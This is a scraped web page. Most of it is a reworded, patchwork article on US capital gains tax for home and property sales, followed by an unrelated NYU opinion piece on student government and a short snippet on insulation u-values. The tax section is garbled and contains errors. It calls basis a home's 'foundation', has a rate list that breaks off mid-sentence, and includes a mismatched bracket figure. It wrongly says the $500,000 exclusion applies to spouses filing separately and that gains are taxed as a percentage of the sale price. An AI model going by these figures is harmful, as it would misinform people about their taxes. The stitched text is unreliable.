In the event that you own your house for less than a year before selling it, it is classified as a short-term investment. It is not necessary to take particular tax precautions while making capital gains on short-term investments. Instead, the government includes any profit you generated from the sale of your house as part of your standard of living. When it comes to short-term purchasers, such as property flippers, this may be a huge concern. Consider the following scenario: you make a $50,000 profit on a property flip within a year.
In these conditions, the $50,000 you received from the sale of your property effectively doubles your annual income to $100,000.
When it comes to short-term sales, you may reduce your tax liability by keeping meticulous records of all of your costs and tax deductions.
Long-Term Capital Gains Tax
If you have owned your house for more than a year, you will be subject to long-term capital gains tax. The personal exemption will become available to you after two years – more on that below. In contrast to the seven federal tax levels for short-term income, there are just three capital gains tax brackets. The long-term capital gains tax rates are significantly lower than the comparable tax rates on normal income, which is a significant difference. If your income is less than the bare minimum amount indicated below, you may not be required to pay any tax at all.
|Long-Term Capital Gains Tax Rates|
|Single||Up to $40,400||$40,401 – $445,850||Over $445,850|
|Married Filing Jointly and Surviving Spouse||Up to $80,800||$80,801 – $501,600||Over $501,600|
|Married Filing Separately||Up to $40,400||$40,401 – $250,800||Over $250,800|
|Head of Household||Up to $54,100||$54,101 – $473,750||More than $461,700|
|Trusts and Estates||Up to $2700||$2,701 – $13,249||More than $13,250|
2021 Capital Gains Tax Calculator – See What You’ll Owe
Photograph courtesy of iStock/James Brey If you’re reading about capital gains, it’s likely that your assets have done well in recent months. Alternatively, you may be ready for the day when they do. In the event that you’ve developed a low-cost, diverse portfolio and the assets you own are now worth more than what you paid for them, you could be considering selling some of your holdings in order to realize the capital gains on your investments. The good news is that this is the case. It’s not all good news, though, because your profits will be subject to federal and state taxation.
A financial adviser can assist you in establishing and managing your investment portfolio.
Capital Gains: The Basics
Consider the following scenario: you purchase a stock at a cheap price, and after a period of time, the value of that asset has increased significantly. The decision has been made to sell your shares in order to benefit from the gain in value. When you sell your stock (or other similar assets, such as real estate), the profit you make is equal to the amount of capital gain realized on the transaction. Capital gains are taxed at the federal level by the Internal Revenue Service, and some states additionally tax capital gains at the state level.
- It is possible to have both short-term and long-term capital gains; however, the rates of taxation for each are different.
- They are subject to the same taxation as normal income.
- Long-term capital gains are gains on assets that have been in your possession for more than a year.
- It is possible that your tax rate on long-term capital gains will be as low as 0 percent, depending on your regular income tax filing status.
- As a result, some extremely wealthy Americans do not pay nearly as much in taxes as you might think.
- You must first determine your basis in order to calculate the extent of your capital gains.
The difference between the sale price of your asset and the basis you hold in that asset determines how much you owe in taxes – your tax obligation – each year. In basic English, this means that you pay tax on the amount of profit you make.
Earned vs. Unearned Income
Photograph courtesy of iStock/samdiesel What is the reason for the distinction between the normal income tax and the tax on long-term capital gains at the federal level. It all boils down to the distinction between earned and unearned income. In the view of the Internal Revenue Service, these two types of income are distinct and ought to be taxed differently. Earned income refers to the money you earn from your employment. Regardless of whether you operate your own business or work part-time at the coffee shop down the street, the money you earn is considered earned income by the IRS.
It’s money that you make by investing other people’s money.
In this scenario, the term “unearned” does not imply that you do not deserve the money.
The problem of how to tax unearned income has risen to the level of a political debate.
Photograph courtesy of iStock/banarfilardhi No one wants to be surprised with a large tax bill in April. Tax-loss harvesting is one of the numerous (legal) methods of lowering your tax bill, and it is also one of the most prevalent – and the most difficult. Tax-loss harvesting is a strategy for avoiding paying capital gains taxes on capital profits. It is predicated on the concept that money lost on one investment may be used to offset capital gains made on other investments in the future. The capital gains from the sale of poor investments might be used to offset the capital gains from the sale of lucrative investments.
- Alternatively, you may wait and repurchase the assets you sold at a loss if you decide you want them back; nevertheless, you will still receive a tax write-off if you schedule it correctly.
- Investing in the market while still taking advantage of tax deductions for losses helps you to maintain your position in the market.
- It is said to save you a significant amount of money.
- You’re basing your investment plan not on long-term concerns like diversification, but rather on a tax break that will expire in a few months.
Tax-loss harvesting is also criticized on the grounds that it is impossible to predict what changes Congress will make to the tax law, and as a result, you face the danger of paying excessive taxes when you sell your assets later.
State Taxes on Capital Gains
Some states also collect taxes on capital gains, however this is not common. Most states tax capital gains at the same rate as they do normal income, which is the same as the federal rate. Consequently, if you’re fortunate enough to live in a place where there is no state income tax, you won’t have to worry about paying state-level capital gains taxes. New Hampshire and Tennessee do not impose income taxes, however they do impose taxes on dividends and interest income. All of the traditional suspects when it comes to high income tax rates (California, New York, Oregon, Minnesota, New Jersey, and Vermont) also have high capital gains taxes.
Capital Gains Taxes on Property
If you own a home, you may be curious about how the government treats earnings from home sales when calculating taxes. The gap between the sale price and the seller’s basis in a property is the same as the difference between the sale price and the seller’s basis in other assets such as stocks. Your home’s foundation is equal to the amount you bought for it plus any closing expenses and non-decorative improvements you made to the property, such as installing a new roof. You can also include sales expenditures, such as real estate agent commissions, in your cost base.
- When you sell your primary house, you are excused from paying capital gains tax on the first $250,000 of capital gains (or $500,000 for a married couple).
- Even if you inherit a home, you won’t be eligible for the $250,000 exemption unless you’ve lived in the house as your primary residence for at least two years prior to inheriting it.
- It is possible to benefit from a “step increase in basis” when you inherit a house.
- The house is currently worth $300,000 on the open market.
- If you sell the home for that amount then you don’t have to pay capital gains taxes.
- If you’ve owned it for more than two years and used it as your primary residence, you wouldn’t pay any capital gains taxes.
Nice, right? Stepped-up basis is somewhat controversial and might not be around forever. As always, the more valuable your family’s estate, the more it pays to consult a professional tax adviser who can work with you on minimizing taxes if that’s your goal.
Net Investment Income Tax (NIIT)
The net investment income tax, often known as the NIIT, might have an impact on the income you earn from your assets in certain circumstances. While it is primarily applicable to people, this tax can also be charged on the income of estates and trusts, if the income is sufficient. The net investment income tax (NIIT) is charged on the smaller of your net investment income or the amount by which your modified adjusted gross income (MAGI) exceeds the NIIT standards specified by the Internal Revenue Service (IRS).
- The following amounts are available: single: $200,000
- Married filing jointly: $250,000
- Married filing separately: $125,000
- Qualifying widow(er) with dependent child: $250,000
- Head of household: $200,000
The rate of the NIIT tax is 3.8 percent. Nonresident aliens are exempt from paying the tax since it only applies to citizens and resident aliens of the United States. Specifically, according to the IRS, net investment income is comprised of the following items: interest, dividends, capital gains, rental income, royalties, non-qualified annuities, income from businesses engaged in the trading of financial instruments or commodities, and income from businesses that are passive to the taxpayer. Here’s an illustration of how the NIIT operates: Consider the following scenario: you and your husband file your taxes jointly and you both earn $200,000 in salary.
The net investment income from capital gains, rental income, and dividends adds another $75,000 to your income, bringing your total income to $275,000 (including the $75,000 net investment income).
You’d have to pay $950 in taxes if you had a 3.8 percent marginal tax rate.
SmartAsset is all about making long-term investments in our clients’ futures. If your investments do well and you decide to sell them, you will face increased tax costs as a result of your success. It is entirely up to you to determine the extent to which you will go in your effort to reduce your capital gains tax burden. In the event that you choose to use a “buy and hold” approach, you will not have to worry about capital gains until the time comes to sell your investments.
Topic No. 701 Sale of Your Home
In the event that you have a capital gain on the sale of your primary residence, you may qualify to deduct up to $250,000 of that gain from your taxable income, or up to $500,000 if you file a joint return with your spouse, from your income. In Publication 523, Selling Your Home, you will find regulations and spreadsheets to help you with the process. Topic No. 409 is concerned with general information on capital gains and losses.
Qualifying for the Exclusion
As a general rule, in order to qualify for the Section 121 exception, you must satisfy both the ownership and the usage requirements. Generally, you are qualified for the exclusion if you have owned and lived in your house as your primary residence for a total of at least two years out of the five years before the date of sale of your property. You can fulfill the ownership and use requirements over a period of two years in various increments. You must, however, pass both examinations within the 5-year term that begins on the date of the transaction.
For a comprehensive list of eligibility conditions, as well as limits on the amount of the exclusion and exceptions to the two-year rule, see Publication 523.
Reporting the Sale
Regardless of whether the gain from the sale is excludable, if you get an informative income-reporting document such as Form 1099-S, Proceeds From Real Estate Transactions, you must report the sale of the residence. Additionally, if you are unable to deduct all of your capital gain from your income, you must declare the sale of your residence. Make use of Schedule D (Form 1040), Capital Gains and Losses, and Income Tax Returns. When reporting the house sale, use Form 8949, Sales and Other Dispositions of Capital Assets, if one is necessary.
Suspension of the Five-Year Test Period
If you or your spouse is serving on eligible official extended duty in the United States Armed Forces, the Foreign Service, or the intelligence community, you may be able to request a suspension of the five-year test period for up to ten years. An individual is on qualified official extended duty if, for a duration of more than 90 days or for an indeterminate amount of time, the individual is required to do any of the following:
- At a duty station that is at least 50 miles away from his or her primary residence, or
- Residing in government housing under the authority of the government
Consult Publication 523 for further information on this exceptional regulation that suspends the 5-year test requirement.
If you sold your property under a contract that said that all or a portion of the purchase price would be paid in a later year, you were referred to as having made an installment sale. If you have an installment sale, you must record the sale using the installment method unless you want to report the sale otherwise. Even if you employ the installment method to delay some of the gain, the Section 121 gain exclusion will still be available to you provided you meet the requirements. More information on installment sales may be found in Publication 537, Installment Sales, Form 6252, Installment Sale Income, and Topic No.
How to Calculate Capital Gains Tax
The first stage in determining how to compute long-term capital gains tax is normally to determine the difference between what you purchased for your property and how much you sold it for, after deducting any commissions or fees that may have been charged. Federal income taxation on capital gains will range from 0% to 15% or 20% depending on your income level. State and local taxes will also apply.
How to Figure Long-Term Capital Gains Tax
Examine the specifics of calculating long-term capital gains tax in further depth below. Always keep in mind that the capital gain rates indicated above are for assets that have been held for more than a calendar year. A short-term capital gain is a profit realized on assets that have been held for less than one year and is subject to regular income taxation. Additionally, profits on some sorts of transactions, such as rental real estate and collectibles, may be taxed at a different rate than gains on other types of sales.
- Make a decision on your foundation. In most cases, this includes the purchase price as well as any commissions or fees that have been paid. It is also possible to raise your basis by reinvesting income from stocks and other sources. Calculate the amount of money you made. This is the sale price less any commissions or fees that were paid on the transaction. To calculate the difference between your basis (what you paid) and your realized amount (how much you sold it for), subtract your basis from the realized amount.
- If you sell your assets for a higher price than you bought for them, you have made a capital gain. If you sold your assets for less than you purchased for them, you would have incurred a capital loss on the transaction. Find out how you may utilize capital losses to offset capital gains in this article.
- Examine the table below to determine which tax rate should be applied to your capital gains.
Determine Your Long-Term Capital Gains Rate
How much of your long-term capital gains are taxed at the federal level is determined by where your income sits in respect to three thresholds. Long-Term Capital Gains Rates for the Year 2017
- If your income is less than $37,950 and you are filing as a single person (or less than $75,900 if you are married filing jointly), you will pay no income tax. 15 percent if your income is between $37,951 and $418,400 and you are filing as single (or between $75,901 and $470,700 if you are married filing jointly)
- 20 percent if your income is over $418,400 and you are filing as single (or over $470,700 if you are married filing jointly)
- 25 percent if your income is over $418,400 and you are filing as single (or 25 percent if you are married filing jointly)
- 25 percent if your income
Rates of Long-Term Capital Gains in 2018
- If your income is less than $38,700 and you are filing as a single person (or more than $77,400 if you are married filing jointly), you will pay no income tax. If your income is between $38,701 and $500,000 and you are filing as a single (or between $77,401 and $600,000 if you are married filing jointly), you will pay 15 percent of your income in taxes. If your income is over $500,000 and you are filing as a single person (or over $600,000 if you are married filing jointly), you will pay 20 percent of your income in taxes.
Capital Gains Tax, Form 8949 and Schedule D
In most circumstances, you’ll utilize the information from your purchases and sales to complete Form 8949, which will allow you to record your profits and losses on Schedule D. For further information, go to the Schedule D guidelines. Additional questions regarding how to compute capital gains tax? Please contact us. Our Tax Pros are well-versed in the ins and outs of taxation and are committed to assisting you in better understanding your return. Schedule a consultation with one of our tax professionals now.
Avoiding Capital Gains Tax When Selling Your Home: Read the Fine Print
You are undoubtedly aware that if you sell your house, you may be able to deduct up to $250,000 of your capital gain from your income tax liability. It is possible to exclude up to $500,000 for married couples who file jointly. Additionally, unmarried persons who own a house together and who each fulfill the requirements outlined below can each be exempt from up to $250,000 in taxes. Purchases made after May 6, 1997 are subject to the new legislation. It is necessary that you owned and lived in your house as your primary residence for an aggregate of at least two of the five years before the sale in order to claim the full exclusion from taxes (this is called the ownership and use test).
Under some cases, even if you do not fulfill this requirement, you may still be eligible for a full or partial tax deduction in certain situations.
First, How Much Is Your Gain?
“We purchased it for $100,000 and sold it for $650,000, therefore we made a $550,000 profit, and we’re $50,000 above the exclusion,” many individuals believe. It’s not as straightforward as it appears – which is a good thing, because the tiny print may work to your advantage in such situations. Your gain is the difference between the selling price of your house and the amount of deductible closing costs, selling charges, and your tax basis in the property. Your basis is equal to the original purchase price plus any associated costs such as purchase charges and the cost of capital upgrades, less any depreciation and any losses due to fire, storm, or other disaster.) Closing fees that are tax deductible include points or prepaid interest on your mortgage, as well as your portion of the prorated property taxes.
If you and your spouse purchased a house for $100,000 and sold it at a profit of $650,000, but you made $20,000 in home improvements, spent $5,000 preparing the house for sale, and paid the real estate brokers at least $25,000, the exclusion plus those expenses would result in you paying no capital gains tax at all.
If You Don’t Meet the Use Test
Let’s imagine you still have some capital gains that don’t appear to be covered by the exclusion. What should you do? You may still be eligible for a partial exclusion of capital gains if you sold your home because of a change in your employment, or because your doctor recommended that you relocate for your health, or if you sold it during a divorce or due to other unforeseen circumstances such as a death in the family or multiple births. You may also be eligible for a partial exclusion of capital gains if you sold your home because of a change in your employment, or because your doctor recommended that you relocate for your health.
In such a circumstance, you would be eligible for a portion of the exclusion depending on the portion of the two-year period during which you were in the country.
Example: If an unmarried taxpayer remains in her house for 12 months before selling it for a $100,000 profit due to an unforeseeable occurrence, the whole amount might be deducted from her taxable income.
Given that she only stayed in the residence for half of the two-year period, she was only eligible for half of the exclusion, which amounted to $125,000. $125,000 (12/24 x $250,000) = $125,000 That is sufficient to cover her full $100,000 gain.
Nursing Home Stays
In the case of those who have moved into a nursing home, the ownership and usage test is reduced to one out of every five years spent in your own house prior to entering the institution. Furthermore, time spent in a nursing home continues to count toward ownership time and usage of the dwelling as well. Example: If you resided in a house for a year and then spent the following five in a nursing home before selling the house, you would be eligible for the entire $250,000 exclusion.
Marriage and Divorce
Married couples filing jointly may exclude up to $500,000 in gain, provided that they meet the following conditions:
- It is either couple’s home
- Both spouses fulfill the usage test
- And neither spouse has sold a home in the prior two years
Separate dwellings are provided. A married couple who owns and occupies a separate dwelling and files jointly may be able to exclude up to $250,000 in gain from their taxable income if they sell their home. Also, if it is a new marriage and one spouse sold a property within two years of the marriage (thereby disqualifying himself or herself from the exclusion), the other spouse may still be able to deduct up to $250,000 in gain on a residence acquired prior to the marriage provided the other spouse qualifies.
- In rare cases, a new marriage may also result in a tax savings that is twice as large.
- Suppose he and his girlfriend had been living in the house for two years (albeit her name was not on the title), indicating that they both met the requirement of “use” in this case.
- It’s about divorce and getting a tax advantage.
- For example, suppose that after a divorce, the wife is permitted to continue living in the husband’s home until the property is sold.
- Once the transaction is completed, the pair will share the earnings 50/50 between them.
- Additionally, the husband may include his ex-continuous wife’s use of the house in order to complete the two-year usage requirement.
- Widowed taxpayers can also claim the ownership and use of property by their deceased spouse as a deduction.
Reduced Exclusion for Second Home Also Used as Primary Home
If you sell a home that you used occasionally as a vacation or rental property and occasionally as your primary residence, you will only be eligible for the portion of the capital gains exclusion that corresponds to the amount of time you actually lived there as your primary residence when you sell the home. (The remainder of the time is referred to as “non-qualifying use.” Keep in mind that the calculation is performed over a period of more than just five years; it is valid all the way back to January of 2009.
This new regulation was intended to create greater tax revenue in order to balance certain other tax cuts, which you won’t be shocked to learn about.)
Home Offices: A Tax Drawback
In addition, the exception does not apply to depreciation that is permissible on dwellings built after May 6, 1997. If you are in a high tax bracket and want to remain in your house for an extended period of time, depreciation deductions for a home office might be quite beneficial at the moment. However, if this is not the case, you may want to reconsider utilizing a section of your home as an office because any depreciation deductions you take will be subject to a 25 percent tax when you sell the property.
They had taken depreciation deductions for a home office totaling $50,000 over the course of the years.
$100,000 is the adjusted basis.
Splitting Up Big Gains
If you plan to make significant profits from the sale of your home – profits that exceed the amount that may be deducted from your taxable income – you should examine strategies to partition ownership of the property. For example, suppose a couple owns their home with their adult son (perhaps because they’ve given him a portion of the ownership in the past). As long as he fulfills the ownership and usage requirements for one-third of the property, the son may sell his portion for a gain of $250,000 without incurring tax liability.
Capital Gains Tax on Taxable Gain
In the event that part or all of your gain on the sale of your house is taxable, you’ll be required to pay tax on the gain at the rates applicable to capital gains. These rates are lower than personal income tax rates if you have owned your house for more than one year and have paid property taxes on it. If you held the residence for less than a year, you are subject to ordinary income tax on your gain at the rate applicable to your specific situation. Long-term capital gains are taxed at three different rates: zero percent, fifteen percent, and twenty percent.
For the vast majority of taxpayers, the capital gains tax rate is 15 percent.
The rule is that if your entire taxable income, including your taxable capital gain, places you in the 10 percent or 12 percent personal regular income tax rates, you will pay no capital gain tax on your capital gain income.
If your income puts you in the top 37 percent of the income tax band, you will be subject to a 20 percent tax on any long-term capital gains.
Each year, the personal income tax brackets are recalculated to account for inflation. The appropriate capital gain tax rate for 2019 taxable income is depicted in the following chart.
|Long-Term Capital Gains Rate||2019 Income if Single||2019 Income if Married Filing Jointly||2019 Income if Head of Household|
|0%||$0 to $39,375||$0 to $78,750||$0 to $52,750|
|15%||$39,376 to $434,550||$78,751 to $488,850||$52,751 to $461,700|
|20%||All over $434,550||All over $488, 850||All over $461,700|
The following is an example: John and Jill, who are married, sold their home and realized a $25,000 taxable gain on the sale of their home, which they owned for five years. They had an additional $50,000 in income. Their total income for the year 2019 is thus $75,000 dollars. At this income level, they are subject to a capital gains tax rate of zero percent. In other words, they will not be required to pay any tax on their profit. As an example, Brandon, a young single man, just sold his home, which he had owned for seven years, and realized a profit of $100,000.
- It is estimated that he has a taxable income of $200,000.
- Example 3: Lexi and Elmore, a married couple, made a $300,000 profit when they sold their home.
- They earned an additional $200,000 in other income over the year.
- At this income level, they are subject to a 20 percent capital gain tax on their $300,000 gain, for a total tax of $60,000 on their $300,000 gain.
2021 And 2022 Capital Gains Tax Rates
Note from the editors: We receive a commission from affiliate links on Forbes Advisor. The thoughts and ratings of our editors are not influenced by commissions. When you sell an investment or an asset for a profit, you are said to have made a capital gain. When you sell your property and earn a profit, the funds are called taxable income. When calculating your capital gains tax liability, consider how long you have owned the asset in question: Long-term capital gains are profits earned from the sale of an asset that you have owned for more than one year, whereas short-term capital gains are profits earned from the sale of an asset that you have owned for less than one year.
Long-Term Capital Gains Taxes
Long-term capital gains are taxed at a lower rate than regular income, and the amount of tax you owe is determined by your taxable income for the year. On profits on the sale of most assets or investments held for more than one year, you’ll owe tax at rates of either zero percent, fifteen percent, or twenty percent, depending on your yearly taxable income (for more on how to calculate your long-term capital gains tax, see below). When determining the holding period, which is the amount of time you had the asset before selling it, you should include the day on which the item was sold, but not the day on which it was purchased.
2021 Long-Term Capital Gains Tax Rates
The phrase “short-term capital gain” refers to an asset or investment that has been held for one year or less before it is sold for a profit.
In the United States, short-term capital gains are taxed as regular income rather than as capital gains. This implies that, depending on your federal income tax rate, you might wind up paying as much as 37 percent in income tax.
2021 Federal Income Tax Brackets
When you sell or exchange a capital asset for a price that is higher than the asset’s basis, you have realized a capital gain. The “basis” of an asset is the amount you paid for it, plus any commissions and the cost of renovations, less any depreciation. There is no capital gain until an asset is sold; nevertheless, after an item has been sold for a profit, you are obligated to deduct the profit from your income taxes as a capital gain. Inflation is not taken into account when calculating capital gains.
- Find a solid foundation. Most of the time, this is the whole amount you paid for the item, including any commissions or fees. Find out how much money you’ve made. This will be the amount you received for the asset after deducting any commissions or fees you paid. Subtract the basis from the amount that was realized. You have a capital gain if the sale price is higher than the base price of your home. This is known as a capital loss if the sale price was less than the base price at the time of the transaction.
What Are Capital Losses?
When you sell an item or an investment for less than you purchased for it, you are said to have suffered a capital loss. If you have a capital loss from an investment, you can use it to offset your capital gain when filing your taxes. In the event that you sell an RV or your grandmother’s silver dinnerware for less than you paid for them, you cannot deduct the loss from your capital gains. Capital losses, like capital gains, are available in both short- and long-term forms, and they must be utilized first to balance capital gains of the same sort.
After that, any excess losses can be used to short-term capital gains to reduce the amount of tax due.
Capital losses that have not been utilised can be carried over to future tax years.
How Are Capital Gains Taxes Calculated?
Capital gains taxes can be calculated with the use of IRS forms. Start with IRS Form 8949 to figure out how much money you made or lost on sales that resulted in capital gains or losses. Keep track of each sale and use the information to determine your hold duration, basis, and profit or loss. Then, using Schedule D of the Internal Revenue Service’s Form 1040, calculate your net capital gains. Once you have completed your tax return on Form 1040, you may find out your total tax rate by copying the results.
Exceptions to Capital Gains Taxes
Different restrictions apply to certain types of capital gains than to others. Capital gains from the sale of collectibles (such as art, antiques, and precious metals) as well as gains from the sale of owner-occupied real estate are examples of this.
Capital Gains Taxes on Owner-Occupied Real Estate
Selling your house for a profit is referred to as a capital gain in accounting terms. However, if you and your spouse file a joint tax return, you may be eligible to deduct up to $250,000 of that gain from your taxable income, or up to $500,000 if you and your spouse file separate tax returns. You must pass both the ownership test and the use test in order to be eligible. This implies that you must have owned and lived in the property as your primary residence for a total of at least two years out of the previous five years prior to the selling date to qualify.
It is not necessary for the two-year intervals for owning the property and utilizing the home to be the same two-year periods. Generally, if you’ve claimed this exclusion for another house sale during the previous two years, you won’t be able to take it for this home sale as well.
Capital Gains Taxes on Collectibles
Capital gains on the sale of collectibles such as precious metals, coins, and art are taxed at a maximum rate of 28 percent if they are realized over a period of more than one year. It’s important to remember that short-term capital gains on collecting assets are still subject to regular income taxation. The Internal Revenue Service categorizes collectable assets as follows:
- Items such as artwork, carpets, and antiques
- Items of historical significance, such as musical instruments. Stamps and coins
- Alcoholic drinks (think of a costly vintage wine)
- And other items. Any type of metal or gemstone
The last point is worth repeating: precious metals are considered collectibles by the Internal Revenue Service. The sale of shares in any pass-through investment vehicle that invests in precious metals (such as an exchange traded fund or a mutual fund) results in long-term capital gains that are normally taxed at the 28 percent rate, which is the highest rate in the country.
What Is the Net Investment Income Tax?
The net investment income tax comes into play for those who generate income from investments beyond particular yearly levels, as defined by the IRS. Capital gains from the sale of investments that have not been offset by capital losses are included in net investment income, as is income from dividends and interest, among other sources. The net investment income tax is subject to an extra surtax of 3.8 percent.
Who Owes the Net Investment Income Tax?
People, estates, and trusts who earn more than certain thresholds are liable for this tax on their net investment income, which they pay to the government. It is likely that you will owe the tax if you have net investment income from capital gains and other investment sources, as well as a modified adjusted gross income that is higher than the amounts specified below.
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It has been updated for Tax Year 2021 / December 22, 2021 11:32 a.m. OVERVIEW If you have lived in a residence for two of the preceding five years, you will owe little or no tax on the sale of the property you have sold. Being familiar with tax rules may make a significant difference in the tax picture when you sell a building, whether it’s your primary dwelling or a property that was once used as your primary residence.
Betting on the house: Rules for property sales
Shelley Bridge, a real estate agent, clearly recalls how a young man’s love affair once resulted in his owing more than $20,000 in federal taxes. The individual had previously purchased a property for around $200,000 with Bridge’s assistance. After falling in love with his girlfriend some years later, he moved in with her and placed his house up for rent. Three years have elapsed. He determined that it was time to sell his home, which was now worth around $350,000, and called Bridge, the owner of a Re/Max office in Denver, for assistance.
- “It was three years ago last month,” was the response.
- If he had sold the house a month sooner, he would have owing just the amount of tax on the profit equal to the amount of depreciation he had deducted (or should have deducted) during the years in which he rented out the property.
- However, the man in this scenario could have moved back into the house for two years and sold it with a far lower tax burden, but his girlfriend, who is now his wife, was not willing to make the sacrifice.
- Taxes, according to Schumacher, “are only a piece of the issue.” “The majority of individuals can meet the standards to exclude profits from taxable income,” says Mark Levine, dean of the University of Denver’s Burns School of Real Estate and Construction Management.
“The majority of people can meet the rules to exclude gains from taxable income.”
The regulations for the typical house selling transaction, referred to as a “straight” sale, are quite easy, and in the majority of cases, a straight sale does not result in tax liability. “Most persons may meet the conditions to exclude profits from taxable income under the tax rules in effect in 2021,” according to the tax laws in effect in 2021 “Mark Levine, director of the Burns School of Real Estate and Construction Management at the University of Denver, shared his thoughts. If you are single and have lived in the same residence for at least two of the preceding five years, you owe no taxes if your net income is less than $250,000 in the previous year.
If your earnings surpass the maximum allowable for your filing status, you will likely be subject to capital gains tax at a rate of 0, 15, or 20%, depending on your tax bracket as of 2021.
For example, if you are forced to relocate due to a loss of employment or sickness, you may not be required to pay the tax, according to Levine.
According to Levine, if you buy for $500,000 and sell for $400,000, you made a profit of $100,000 “”The response is ‘too bad,’ because you will not receive any tax benefits as a result of this.” If you sell property that is not your primary residence (including a second home) and that you have owned for at least a year, you must pay tax on any profits at the capital gains rate of up to 15 percent of the sale price.
- Although it isn’t technically a capital gain, Levine emphasized that it is recognized as such for tax purposes.
- If you have depreciated your property, you may be subject to a different tax rate.
- Your taxable gain is $120,000 in this instance.
- According to Levine, the amount you deducted for depreciation is removed from the $20,000 gain, and the 15 percent capital gains rate is applied to the remaining $20,000 gain.
Real estate exchange
According to Levine, it is conceivable to trade your business property for another person’s business property in order to avoid your tax payment for a period of time. Residential structures, on the other hand, unless they contain rental apartments, do not fall under this category. If you purchased a building for $400,000 and it has risen in value to $500,000, you may trade it in for another structure at $500,000 and avoid paying taxes on the profit at the time of the transfer by exchanging it for another construction worth $500,000.
According to Levine, the transaction may only contain qualities that are “like.” Suppose you exchanged your $500,000 property for one worth at $450,000 plus $50,000 in cash. You would owe taxes on $50,000 in cash for the year in which you exchanged the property.
You may sell a building and take payment in installments, which can stretch the tax bill over a number of years. If you agree on a down payment followed by annual installments, you’d pay taxes depending on the percentage of your profit on each payment, but not the overall gain. In the end, though, the total taxes you pay would be the same as if you had paid them all at once—barring future changes in the tax rate. You’ve postponed taxes rather than avoided them, Levine explained. You may also have paid those taxes at an average rate lower than the rate you would have paid if you had paid tax on the whole gain in the year of sale.
For example, if you sell for $300,000 a building for which you purchased $200,000, your gain is $100,000, or one-third of the sale price.
What about state taxes?
According to Dr. Levine, the majority of state real estate tax laws are based on the same fundamental principles as the federal tax code. There are, however, certain exceptions to this rule. In order to obtain a comprehensive tax picture, you need speak with the tax department of the state in where your property is located.
What is depreciation?
In the context of real estate, depreciation is a tax deduction that can help you save money on your taxes by accounting for the use of property in a business sense, as if the property were being consumed by wear and deterioration. According to Dr. Mark Levine, you cannot depreciate your house, but you may depreciate rental units and other business properties, according to the IRS. According to the tax rules, depreciation can be claimed for a number of years for different types of property—for example, 27 1/2 years for residential rental property and 39 years for an office building.
Although this deduction lowers your annual tax on your building, you must pay back all of the taxes you postponed via depreciation if you sell your property, according to Levine.
While you are completing your taxes, you may improve your tax knowledge and comprehension.
Get your investment taxes done right
TurboTax Premier has you covered for everything from stocks and bitcoin to rental income. In the preceding article, generalist financial information intended to educate a broad part of the public is provided; however, customized tax, investment, legal, and other business and professional advice is not provided.
Whenever possible, you should get counsel from an expert who is familiar with your specific circumstances before taking any action. This includes advice on taxes, investments, the law, or any other business and professional problems that may affect you and/or your business. | <urn:uuid:5ad7a772-77f7-4bb4-965c-90aa1f1276e8> | CC-MAIN-2022-33 | https://www.signaturegrouprealty.net/interesting/what-are-capital-gains-taxes-on-real-estate-question.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.957723 | 13,231 | 1.867188 | 2 |
Why NYU’s Student Government Fails to Represent You
November 26, 2018
NYU’s Student Government Assembly is soon poised to vote on a Boycott, Divestment and Sanctions resolution. If passed by the University Senate, the resolution would cause NYU to cut all ties with companies that work with the Israeli government, including General Electric, Caterpillar Inc. and Lockheed Martin, the latter of which is a corporate partner of the Tandon School of Engineering. As this is a fairly momentous decision for Student Government to take, one would hope that those making it were transparently elected and representative of the student body. Actually understanding how the byzantine structure of SGA works is no simple process; however, when one looks into the mechanisms, it quickly becomes clear that this structure is barely democratic and about as transparent as mud.
The first obstacle to this government being useful is that a large chunk of those claiming to represent you as students were never elected by you. Of the 79 people able to vote in the Student Government Assembly, 14 are “Senators at Large,” who are elected by the previous year’s Student Senators in a closed ballot. As such, the NYU student body does not have a say on who makes up over 17 percent of SGA, making the structure akin to an oligarchy that appoints its own members. This makes SGA’s claim to be fully representative of NYU flatly ridiculous.
Secondly, the Student Government election results are not publicly released. It is impossible, therefore, to know how many people voted for the elected senators or what the student body’s voter turnout was. With no way of knowing the details of how a candidate won an election, there is a major transparency problem. This information is crucial as it would allow us to assess whether students are actually engaged in the electoral process and to what degree those in SGA can claim to represent them.
There is also the problem that even for the positions where the representatives are elected, the amount of people they represent wildly varies. Each of NYU’s undergraduate programs gets one senator despite the fact that the populations of these programs are significantly different. For instance, the undergraduate population of the Stern School of Business is 2,705 while the undergraduate enrollment of the Silver School of Social Work is likely under 200 — estimated from the 2017 graduating class for 40 undergraduates. With this figure, an undergraduate at the Silver School of Social Work is 13.5 times more represented than an undergraduate at Stern, exemplifying the disparity in representation.
Finally, there is the issue of secret votes, which will be used to decide upon the upcoming resolution. A representative democracy works on the premise that you can keep your representative accountable by telling them what you think of their actions. Secret voting makes this completely impossible. While it is understandable that members of SGA are keen on not receiving criticism for passing resolutions that people don’t support, this measure makes it impossible for students to keep their representatives accountable. It allows members of SGA to be entirely deceitful and vote directly against their constituents’ interests with no way of anyone knowing.
It seems obvious to me that the job of SGA is to represent the interests of students, but when its membership is so unrepresentative of the student body, it is impossible for them to do this. A potential solution could be to create an online poll that all NYU students could use to vote on measures, thereby eliminating the need for representatives chosen in such a questionable way to vote on proposals. This would allow for a better picture of what sort of support the proposals have. The poll could also record the school from which each vote originated, allowing SGA to see if their proposals lacked support from a particular student body. And implementing a procedure like this one would resolve the democratic deficit and lack of transparency that characterizes our current student government.
As long as the structure of SGA remains so deeply flawed, it cannot be seen as representative of student interests. We ought to question why these people need to have the ability to vote on their own proposals, especially since they fall short of adequately representing our student body.
A version of this article appeared in the Monday, Nov. 26 print edition.
Opinions expressed on the editorial pages are not necessarily those of WSN, and our publication of opinions is not an endorsement of them.
Email Finlay McIntosh at [email protected] | <urn:uuid:67b65b23-4c3b-4449-8a06-fa73d423b42b> | CC-MAIN-2022-33 | https://nyunews.com/2018/11/26/opinion-student-government-not-representative-no-transparency/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.971643 | 901 | 1.796875 | 2 |
Ask for the u-value of the insulation or glazing. This is the speed of heat loss through the surface – and the lower the number the better. U-values to aim for are: lofts 0.15, walls 0.35, oors 0.2, double glazing 1.6, secondary glazing 2.6.
The use of natural materials such as sheep wool loft insulation, lime plaster and render, hemp, cork and wood bre boards is usually recommended for old buildings because they allow moisture to escape, which avoids problems with damp, mould and condensation.
